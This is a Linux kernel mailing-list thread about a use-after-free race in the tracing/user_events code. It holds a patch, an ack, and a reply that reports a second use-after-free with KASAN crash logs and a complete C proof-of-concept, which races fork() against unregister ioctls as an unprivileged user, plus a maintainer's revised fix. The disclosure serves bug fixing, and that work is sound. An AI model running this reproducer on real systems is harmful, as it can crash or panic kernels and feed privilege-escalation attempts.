* [PATCH] tracing/user_events: fix use-after-free of enabler in user_event_mm_dup()
@ 2026-06-18 22:27 Michael Bommarito
2026-06-19 0:12 ` Beau Belgrave
2026-06-22 17:03 ` XIAO WU
0 siblings, 2 replies; 4+ messages in thread
From: Michael Bommarito @ 2026-06-18 22:27 UTC (permalink / raw)
To: Steven Rostedt, Masami Hiramatsu, Mathieu Desnoyers
Cc: Beau Belgrave, linux-trace-kernel, linux-kernel, stable
user_event_enabler_destroy() removes an enabler from the per-mm
mm->enablers list with list_del_rcu() and then frees it immediately with
kfree(). That list is walked locklessly by user_event_mm_dup() during
fork(), under rcu_read_lock() only:
rcu_read_lock();
list_for_each_entry_rcu(enabler, &old_mm->enablers, mm_enablers_link)
...
user_event_mm_dup() does not take event_mutex. The per-enabler destroy
path user_events_ioctl_unreg() (DIAG_IOCSUNREG) takes event_mutex but
nothing that excludes the dup walk. Threads that share an mm share one
user_event_mm and one enabler list, so an unregister on one thread can
free an enabler while another thread is forking and user_event_mm_dup()
is mid-walk. The walk then dereferences the freed enabler (for example
enabler->event in user_event_enabler_dup()).
This is reachable by an unprivileged task that can open user_events_data:
a single multithreaded process that registers an enabler and then
concurrently unregisters it and calls fork() triggers the race. KASAN
reports a slab-use-after-free read in user_event_enabler_dup() called
from user_event_mm_dup() and copy_process() during clone(); with
kasan.fault=panic the kernel panics.
Free the enabler after a grace period with kfree_rcu(), matching the
list_del_rcu() removal and the rcu_read_lock() readers in
user_event_mm_dup(). Add an rcu_head to struct user_event_enabler for
this. The error path in user_event_enabler_create() keeps using kfree()
because that enabler is freed before it is published to the RCU list.
Cc: stable@vger.kernel.org
Fixes: 7235759084a4 ("tracing/user_events: Use remote writes for event enablement")
Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Michael Bommarito <michael.bommarito@gmail.com>
---
Notes:
KASAN on the unpatched tree (v7.1, x86-64, CONFIG_KASAN=y, SMP):
BUG: KASAN: slab-use-after-free in user_event_enabler_dup+0x50a/0x540
Read of size 8 (enabler->event, 16 bytes into a freed kmalloc-cg-64):
user_event_enabler_dup
user_event_mm_dup
copy_process
__do_sys_clone
Allocated by the registering task; freed on another CPU via the
DIAG_IOCSUNREG path. With kasan.fault=panic the access panics.
After the patch the same reproducer runs cleanly (no splat, no panic)
across the full window, and a serialized control (same paths, no
concurrency) is clean on both stock and patched.
Re-ran tools/testing/selftests/user_events on stock and patched, both
clean: abi_test pass:6/6, dyn_test pass:4/4, ftrace_test pass:6/6.
kernel/trace/trace_events_user.c | 10 +++++++++-
1 file changed, 9 insertions(+), 1 deletion(-)
diff --git a/kernel/trace/trace_events_user.c b/kernel/trace/trace_events_user.c
index c4ba484f7b38b..412ca1e3a40cf 100644
--- a/kernel/trace/trace_events_user.c
+++ b/kernel/trace/trace_events_user.c
@@ -109,6 +109,9 @@ struct user_event_enabler {
/* Track enable bit, flags, etc. Aligned for bitops. */
unsigned long values;
+
+ /* Defer free so RCU list readers (user_event_mm_dup) are safe. */
+ struct rcu_head rcu;
};
/* Bits 0-5 are for the bit to update upon enable/disable (0-63 allowed) */
@@ -404,7 +407,12 @@ static void user_event_enabler_destroy(struct user_event_enabler *enabler,
/* No longer tracking the event via the enabler */
user_event_put(enabler->event, locked);
- kfree(enabler);
+ /*
+ * The enabler is removed from an RCU-traversed list
+ * (user_event_mm_dup walks mm->enablers under rcu_read_lock only),
+ * so the backing memory must outlive a grace period.
+ */
+ kfree_rcu(enabler, rcu);
}
static int user_event_mm_fault_in(struct user_event_mm *mm, unsigned long uaddr,
--
2.53.0
^ permalink raw reply related [flat|nested] 4+ messages in thread
* Re: [PATCH] tracing/user_events: fix use-after-free of enabler in user_event_mm_dup()
2026-06-18 22:27 [PATCH] tracing/user_events: fix use-after-free of enabler in user_event_mm_dup() Michael Bommarito
@ 2026-06-19 0:12 ` Beau Belgrave
2026-06-22 17:03 ` XIAO WU
1 sibling, 0 replies; 4+ messages in thread
From: Beau Belgrave @ 2026-06-19 0:12 UTC (permalink / raw)
To: Michael Bommarito
Cc: Steven Rostedt, Masami Hiramatsu, Mathieu Desnoyers,
linux-trace-kernel, linux-kernel, stable
On Thu, Jun 18, 2026 at 06:27:43PM -0400, Michael Bommarito wrote:
> user_event_enabler_destroy() removes an enabler from the per-mm
> mm->enablers list with list_del_rcu() and then frees it immediately with
> kfree(). That list is walked locklessly by user_event_mm_dup() during
> fork(), under rcu_read_lock() only:
>
> rcu_read_lock();
> list_for_each_entry_rcu(enabler, &old_mm->enablers, mm_enablers_link)
> ...
>
> user_event_mm_dup() does not take event_mutex. The per-enabler destroy
> path user_events_ioctl_unreg() (DIAG_IOCSUNREG) takes event_mutex but
> nothing that excludes the dup walk. Threads that share an mm share one
> user_event_mm and one enabler list, so an unregister on one thread can
> free an enabler while another thread is forking and user_event_mm_dup()
> is mid-walk. The walk then dereferences the freed enabler (for example
> enabler->event in user_event_enabler_dup()).
>
> This is reachable by an unprivileged task that can open user_events_data:
> a single multithreaded process that registers an enabler and then
> concurrently unregisters it and calls fork() triggers the race. KASAN
> reports a slab-use-after-free read in user_event_enabler_dup() called
> from user_event_mm_dup() and copy_process() during clone(); with
> kasan.fault=panic the kernel panics.
>
> Free the enabler after a grace period with kfree_rcu(), matching the
> list_del_rcu() removal and the rcu_read_lock() readers in
> user_event_mm_dup(). Add an rcu_head to struct user_event_enabler for
> this. The error path in user_event_enabler_create() keeps using kfree()
> because that enabler is freed before it is published to the RCU list.
>
> Cc: stable@vger.kernel.org
> Fixes: 7235759084a4 ("tracing/user_events: Use remote writes for event enablement")
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Michael Bommarito <michael.bommarito@gmail.com>
> ---
>
> Notes:
> KASAN on the unpatched tree (v7.1, x86-64, CONFIG_KASAN=y, SMP):
>
> BUG: KASAN: slab-use-after-free in user_event_enabler_dup+0x50a/0x540
> Read of size 8 (enabler->event, 16 bytes into a freed kmalloc-cg-64):
> user_event_enabler_dup
> user_event_mm_dup
> copy_process
> __do_sys_clone
> Allocated by the registering task; freed on another CPU via the
> DIAG_IOCSUNREG path. With kasan.fault=panic the access panics.
>
> After the patch the same reproducer runs cleanly (no splat, no panic)
> across the full window, and a serialized control (same paths, no
> concurrency) is clean on both stock and patched.
>
> Re-ran tools/testing/selftests/user_events on stock and patched, both
> clean: abi_test pass:6/6, dyn_test pass:4/4, ftrace_test pass:6/6.
>
> kernel/trace/trace_events_user.c | 10 +++++++++-
> 1 file changed, 9 insertions(+), 1 deletion(-)
>
> diff --git a/kernel/trace/trace_events_user.c b/kernel/trace/trace_events_user.c
> index c4ba484f7b38b..412ca1e3a40cf 100644
> --- a/kernel/trace/trace_events_user.c
> +++ b/kernel/trace/trace_events_user.c
> @@ -109,6 +109,9 @@ struct user_event_enabler {
>
> /* Track enable bit, flags, etc. Aligned for bitops. */
> unsigned long values;
> +
> + /* Defer free so RCU list readers (user_event_mm_dup) are safe. */
> + struct rcu_head rcu;
> };
>
> /* Bits 0-5 are for the bit to update upon enable/disable (0-63 allowed) */
> @@ -404,7 +407,12 @@ static void user_event_enabler_destroy(struct user_event_enabler *enabler,
> /* No longer tracking the event via the enabler */
> user_event_put(enabler->event, locked);
>
> - kfree(enabler);
> + /*
> + * The enabler is removed from an RCU-traversed list
> + * (user_event_mm_dup walks mm->enablers under rcu_read_lock only),
> + * so the backing memory must outlive a grace period.
> + */
> + kfree_rcu(enabler, rcu);
> }
>
> static int user_event_mm_fault_in(struct user_event_mm *mm, unsigned long uaddr,
> --
> 2.53.0
Thanks for fixing this!
Acked-by: Beau Belgrave <beaub@linux.microsoft.com>
Thanks,
-Beau
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH] tracing/user_events: fix use-after-free of enabler in user_event_mm_dup()
2026-06-18 22:27 [PATCH] tracing/user_events: fix use-after-free of enabler in user_event_mm_dup() Michael Bommarito
2026-06-19 0:12 ` Beau Belgrave
@ 2026-06-22 17:03 ` XIAO WU
2026-06-24 20:05 ` Beau Belgrave
1 sibling, 1 reply; 4+ messages in thread
From: XIAO WU @ 2026-06-22 17:03 UTC (permalink / raw)
To: Michael Bommarito, Steven Rostedt, Masami Hiramatsu,
Mathieu Desnoyers
Cc: Beau Belgrave, linux-trace-kernel, linux-kernel, stable
Hi,
I came across the Sashiko AI review [1] in this thread and wanted to
share some test results that may be useful.
First — thank you for this patch! The enabler UAF in
user_event_mm_dup() is a real bug and the fix (kfree → kfree_rcu) is
the right approach for protecting the RCU list walkers. The selftest
results you included in the commit are also really helpful.
However, I was able to reproduce a second UAF on the *user_event*
object that the Sashiko review flagged — it's still reachable after the
patch is applied. I've included a PoC and crash log below.
On Thu, Jun 18, 2026 at 06:27:43PM -0400, Michael Bommarito wrote:
> @@ -404,7 +407,12 @@ static void user_event_enabler_destroy(struct
user_event_enabler *enabler,
> /* No longer tracking the event via the enabler */
> user_event_put(enabler->event, locked);
>
> - kfree(enabler);
> + /*
> + * The enabler is removed from an RCU-traversed list
> + * (user_event_mm_dup walks mm->enablers under rcu_read_lock only),
> + * so the backing memory must outlive a grace period.
> + */
> + kfree_rcu(enabler, rcu);
> }
The issue: user_event_put(enabler->event, locked) is called
synchronously, before kfree_rcu(enabler, rcu). If this drops the last
reference to the user_event, delayed_destroy_user_event() is scheduled
on a workqueue, which calls destroy_user_event() → kfree(user). The
user_event memory is freed without RCU protection.
But the enabler itself is now protected by kfree_rcu — it remains
visible to RCU readers in user_event_mm_dup() during fork(). Those
readers access enabler->event (via user_event_enabler_dup →
user_event_get(orig->event)), which now points to freed memory:
fork() unregister
──────── ──────────
user_event_mm_dup()
rcu_read_lock();
list_for_each_entry_rcu(enabler, ...)
user_event_enabler_destroy()
list_del_rcu(enabler)
user_event_put(enabler->event)
→ last ref!
→
schedule_work(put_work)
kfree_rcu(enabler, rcu)
user_event_enabler_dup(enabler, ...) [workqueue]
enabler->event = delayed_destroy_user_event()
user_event_get(orig->event); destroy_user_event()
↑ UAF: orig->event was freed! kfree(user_event)
[Reproduction]
The PoC runs as an unprivileged user with access to
/sys/kernel/tracing/user_events_data. It creates two threads sharing
the same mm:
- fork_worker: continuously calls fork()/waitpid(), which triggers
user_event_mm_dup() → RCU list walk
- unreg_worker: continuously registers (DIAG_IOCSREG) and unregisters
(DIAG_IOCSUNREG) an event enabler, which calls
user_event_enabler_destroy()
The race window is small but reproducible within a few iterations on a
multi-CPU QEMU VM.
[Crash log — kernel 7.1.0-next-20260618, CONFIG_KASAN=y, SMP]
BUG: KASAN: slab-use-after-free in user_event_mm_dup+0x319/0x630
Write of size 4 at addr ffff88802c786fa8 by task poc/29997
Call Trace:
<TASK>
dump_stack_lvl
print_report
kasan_report
kasan_check_range
user_event_mm_dup+0x319/0x630
copy_process+0x650f/0x8090
kernel_clone+0x214/0x9c0
__do_sys_clone+0xce/0x120
do_syscall_64
entry_SYSCALL_64_after_hwframe
</TASK>
Allocated by task 29998:
kasan_save_stack
__kasan_kmalloc
__kmalloc_cache_noprof
user_event_parse_cmd+0x721/0x2aa0
user_events_ioctl+0xcc0/0x1d00
__x64_sys_ioctl
do_syscall_64
Freed by task 5014:
kasan_save_stack
__kasan_slab_free
kfree+0x165/0x710
destroy_user_event+0x375/0x4f0
delayed_destroy_user_event+0x8d/0x110
process_one_work
worker_thread
kthread
Last potentially related work creation:
queue_work_on
user_event_put+0x25d/0x460
user_events_ioctl+0x1795/0x1d00
__x64_sys_ioctl
do_syscall_64
------------[ cut here ]------------
refcount_t: addition on 0; use-after-free.
WARNING: lib/refcount.c:25 at refcount_warn_saturate+0xf9/0x120
Call Trace:
user_event_mm_dup+0x349/0x630
The refcount warning on top of the KASAN report is a strong double
confirmation: user_event_get(orig->event) is trying to increment a
refcount on memory that has already been freed and zeroed.
The PoC is attached below. It's a single C file, compiles with:
gcc -o poc poc.c -static -lpthread
[1]
https://sashiko.dev/#/patchset/20260618222743.538915-1-michael.bommarito%40gmail.com
(Sashiko AI code review — "Use-After-Free", Severity: Critical)
Thanks,
XIAO
// PoC: user_event UAF on event object via user_event_mm_dup()
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <stdint.h>
#define DIAG_IOC_MAGIC '*'
#define DIAG_IOCSREG _IOWR(DIAG_IOC_MAGIC, 0, struct user_reg*)
#define DIAG_IOCSDEL _IOW(DIAG_IOC_MAGIC, 1, char*)
#define DIAG_IOCSUNREG _IOW(DIAG_IOC_MAGIC, 2, struct user_unreg*)
struct user_reg {
uint32_t size; uint8_t enable_bit; uint8_t enable_size;
uint16_t flags; uint64_t enable_addr; uint64_t name_args;
uint32_t write_index;
} __attribute__((__packed__));
struct user_unreg {
uint32_t size; uint8_t disable_bit; uint8_t __reserved;
uint16_t __reserved2; uint64_t disable_addr;
} __attribute__((__packed__));
static volatile int stop_flag = 0;
static void *enable_page = NULL;
static const char *event_name = "poc_uaf_test";
static int open_fd(void)
{
int fd = open("/sys/kernel/tracing/user_events_data", O_WRONLY);
if (fd < 0)
fd = open("/sys/kernel/debug/tracing/user_events_data", O_WRONLY);
return fd;
}
static int do_reg(int fd, void *addr)
{
struct user_reg reg = {0};
reg.size = sizeof(reg);
reg.enable_bit = 0;
reg.enable_size = 4;
reg.flags = 0;
reg.enable_addr = (uint64_t)(unsigned long)addr;
reg.name_args = (uint64_t)(unsigned long)event_name;
return ioctl(fd, DIAG_IOCSREG, ®);
}
static int do_unreg(int fd, void *addr)
{
struct user_unreg unreg = {0};
unreg.size = sizeof(unreg);
unreg.disable_bit = 0;
unreg.disable_addr = (uint64_t)(unsigned long)addr;
return ioctl(fd, DIAG_IOCSUNREG, &unreg);
}
static void *fork_worker(void *arg)
{
pid_t pid; int status;
cpu_set_t cpuset;
CPU_ZERO(&cpuset); CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);
while (!stop_flag) {
pid = fork();
if (pid == 0) _exit(0);
else if (pid > 0) waitpid(pid, &status, 0);
else usleep(100);
}
return NULL;
}
static void *unreg_worker(void *arg)
{
int fd;
cpu_set_t cpuset;
CPU_ZERO(&cpuset); CPU_SET(2, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);
while (!stop_flag) {
fd = open_fd();
if (fd < 0) continue;
/* Ensure an enabler exists, then unregister to destroy it */
if (do_reg(fd, enable_page) < 0 && errno == EADDRINUSE) {
do_unreg(fd, enable_page);
do_reg(fd, enable_page);
}
close(fd);
fd = open_fd();
if (fd < 0) continue;
do_unreg(fd, enable_page);
close(fd);
usleep(100);
}
return NULL;
}
int main(int argc, char **argv)
{
pthread_t t_fork, t_unreg;
int fd, i, iters = 30;
if (argc > 1) iters = atoi(argv[1]);
printf("[+] PoC: user_event UAF in user_event_mm_dup\n");
printf("[+] Running %d iterations (3s each)\n", iters);
enable_page = mmap(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (enable_page == MAP_FAILED) { perror("mmap"); return 1; }
memset(enable_page, 0, 4096);
fd = open_fd();
if (fd < 0) { perror("open /sys/kernel/tracing/user_events_data");
return 1; }
if (do_reg(fd, enable_page) < 0 && errno != EADDRINUSE) {
perror("reg"); close(fd); return 1;
}
close(fd);
printf("[+] Event initialized\n");
for (i = 0; i < iters; i++) {
printf("[+] Iter %d/%d\n", i+1, iters);
/* Re-create enabler */
fd = open_fd();
if (fd >= 0) {
if (do_reg(fd, enable_page) < 0 && errno == EADDRINUSE) {
do_unreg(fd, enable_page);
do_reg(fd, enable_page);
}
close(fd);
}
stop_flag = 0;
pthread_create(&t_fork, NULL, fork_worker, NULL);
pthread_create(&t_unreg, NULL, unreg_worker, NULL);
usleep(3000000);
stop_flag = 1;
pthread_join(t_unreg, NULL);
pthread_join(t_fork, NULL);
}
printf("[+] Done\n");
return 0;
}
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH] tracing/user_events: fix use-after-free of enabler in user_event_mm_dup()
2026-06-22 17:03 ` XIAO WU
@ 2026-06-24 20:05 ` Beau Belgrave
0 siblings, 0 replies; 4+ messages in thread
From: Beau Belgrave @ 2026-06-24 20:05 UTC (permalink / raw)
To: XIAO WU
Cc: Michael Bommarito, Steven Rostedt, Masami Hiramatsu,
Mathieu Desnoyers, linux-trace-kernel, linux-kernel, stable
On Tue, Jun 23, 2026 at 01:03:59AM +0800, XIAO WU wrote:
> Hi,
>
Hey XIAO WU,
> I came across the Sashiko AI review [1] in this thread and wanted to
> share some test results that may be useful.
>
Thanks!
> First — thank you for this patch! The enabler UAF in
> user_event_mm_dup() is a real bug and the fix (kfree → kfree_rcu) is
> the right approach for protecting the RCU list walkers. The selftest
> results you included in the commit are also really helpful.
>
> However, I was able to reproduce a second UAF on the *user_event*
> object that the Sashiko review flagged — it's still reachable after the
> patch is applied. I've included a PoC and crash log below.
>
> On Thu, Jun 18, 2026 at 06:27:43PM -0400, Michael Bommarito wrote:
> > @@ -404,7 +407,12 @@ static void user_event_enabler_destroy(struct
> user_event_enabler *enabler,
> > /* No longer tracking the event via the enabler */
> > user_event_put(enabler->event, locked);
> >
> > - kfree(enabler);
> > + /*
> > + * The enabler is removed from an RCU-traversed list
> > + * (user_event_mm_dup walks mm->enablers under rcu_read_lock only),
> > + * so the backing memory must outlive a grace period.
> > + */
> > + kfree_rcu(enabler, rcu);
> > }
>
> The issue: user_event_put(enabler->event, locked) is called
> synchronously, before kfree_rcu(enabler, rcu). If this drops the last
> reference to the user_event, delayed_destroy_user_event() is scheduled
> on a workqueue, which calls destroy_user_event() → kfree(user). The
> user_event memory is freed without RCU protection.
>
> But the enabler itself is now protected by kfree_rcu — it remains
> visible to RCU readers in user_event_mm_dup() during fork(). Those
> readers access enabler->event (via user_event_enabler_dup →
> user_event_get(orig->event)), which now points to freed memory:
>
> fork() unregister
> ──────── ──────────
> user_event_mm_dup()
> rcu_read_lock();
> list_for_each_entry_rcu(enabler, ...)
> user_event_enabler_destroy()
> list_del_rcu(enabler)
> user_event_put(enabler->event)
> → last ref!
> → schedule_work(put_work)
> kfree_rcu(enabler, rcu)
> user_event_enabler_dup(enabler, ...) [workqueue]
> enabler->event = delayed_destroy_user_event()
> user_event_get(orig->event); destroy_user_event()
> ↑ UAF: orig->event was freed! kfree(user_event)
>
While I cannot repro this locally on my 16 core machine, I do agree this
case needs to be handled correctly. The enabler should keep the ref to
the user_event until after an RCU grace period. I have this fix that
addresses it more completely than the original proposal.
I'm hoping you can try out this fix with your machine that does repro
the timing window. The below change needs self test fixes, since now the
free happens after an RCU grace period + work queue schedule. This is
because the self tests (abi_test and perf_test) assume after unreg the
last ref is immediate (which was never guaranteed).
Thanks,
-Beau
diff --git a/kernel/trace/trace_events_user.c b/kernel/trace/trace_events_user.c
index c4ba484f7b38..b860d8b70c7b 100644
--- a/kernel/trace/trace_events_user.c
+++ b/kernel/trace/trace_events_user.c
@@ -109,6 +109,9 @@ struct user_event_enabler {
/* Track enable bit, flags, etc. Aligned for bitops. */
unsigned long values;
+
+ /* Defer put so RCU list readers (user_event_mm_dup) are safe. */
+ struct rcu_work put_rwork;
};
/* Bits 0-5 are for the bit to update upon enable/disable (0-63 allowed) */
@@ -396,17 +399,38 @@ static struct user_event_group *user_event_group_create(void)
return NULL;
};
-static void user_event_enabler_destroy(struct user_event_enabler *enabler,
- bool locked)
+static void delayed_user_event_enabler_put(struct work_struct *work)
{
- list_del_rcu(&enabler->mm_enablers_link);
+ struct user_event_enabler *enabler;
+
+ enabler = container_of(to_rcu_work(work), struct user_event_enabler, put_rwork);
/* No longer tracking the event via the enabler */
- user_event_put(enabler->event, locked);
+ user_event_put(enabler->event, false);
+ /* Run from queue_rcu_work(), no need for RCU */
kfree(enabler);
}
+static void user_event_enabler_destroy(struct user_event_enabler *enabler)
+{
+ list_del_rcu(&enabler->mm_enablers_link);
+
+ /*
+ * We need to hold onto the reference of the user_event for this enabler
+ * until an RCU grace period has elapsed. This ensures that we only ever
+ * put (which may free) the user_event after all CPUs have an updated
+ * enabler list. If during the RCU grace period more enablers are added,
+ * the user_event will be kept alive by new ref counts.
+ *
+ * If user_event_put() is called on the last reference, the event_mutex
+ * is taken. These cannot be taken in an RCU context, so we have to run
+ * this in a work queue only after an RCU grace period.
+ */
+ INIT_RCU_WORK(&enabler->put_rwork, delayed_user_event_enabler_put);
+ queue_rcu_work(system_percpu_wq, &enabler->put_rwork);
+}
+
static int user_event_mm_fault_in(struct user_event_mm *mm, unsigned long uaddr,
int attempt)
{
@@ -464,7 +488,7 @@ static void user_event_enabler_fault_fixup(struct work_struct *work)
/* User asked for enabler to be removed during fault */
if (test_bit(ENABLE_VAL_FREEING_BIT, ENABLE_BITOPS(enabler))) {
- user_event_enabler_destroy(enabler, true);
+ user_event_enabler_destroy(enabler);
goto out;
}
@@ -764,7 +788,7 @@ static void user_event_mm_destroy(struct user_event_mm *mm)
struct user_event_enabler *enabler, *next;
list_for_each_entry_safe(enabler, next, &mm->enablers, mm_enablers_link)
- user_event_enabler_destroy(enabler, false);
+ user_event_enabler_destroy(enabler);
mmdrop(mm->mm);
kfree(mm);
@@ -2645,7 +2669,7 @@ static long user_events_ioctl_unreg(unsigned long uarg)
flags |= enabler->values & ENABLE_VAL_COMPAT_MASK;
if (!test_bit(ENABLE_VAL_FAULTING_BIT, ENABLE_BITOPS(enabler)))
- user_event_enabler_destroy(enabler, true);
+ user_event_enabler_destroy(enabler);
/* Removed at least one */
ret = 0;
^ permalink raw reply related [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-06-24 20:05 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-06-18 22:27 [PATCH] tracing/user_events: fix use-after-free of enabler in user_event_mm_dup() Michael Bommarito
2026-06-19 0:12 ` Beau Belgrave
2026-06-22 17:03 ` XIAO WU
2026-06-24 20:05 ` Beau Belgrave
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox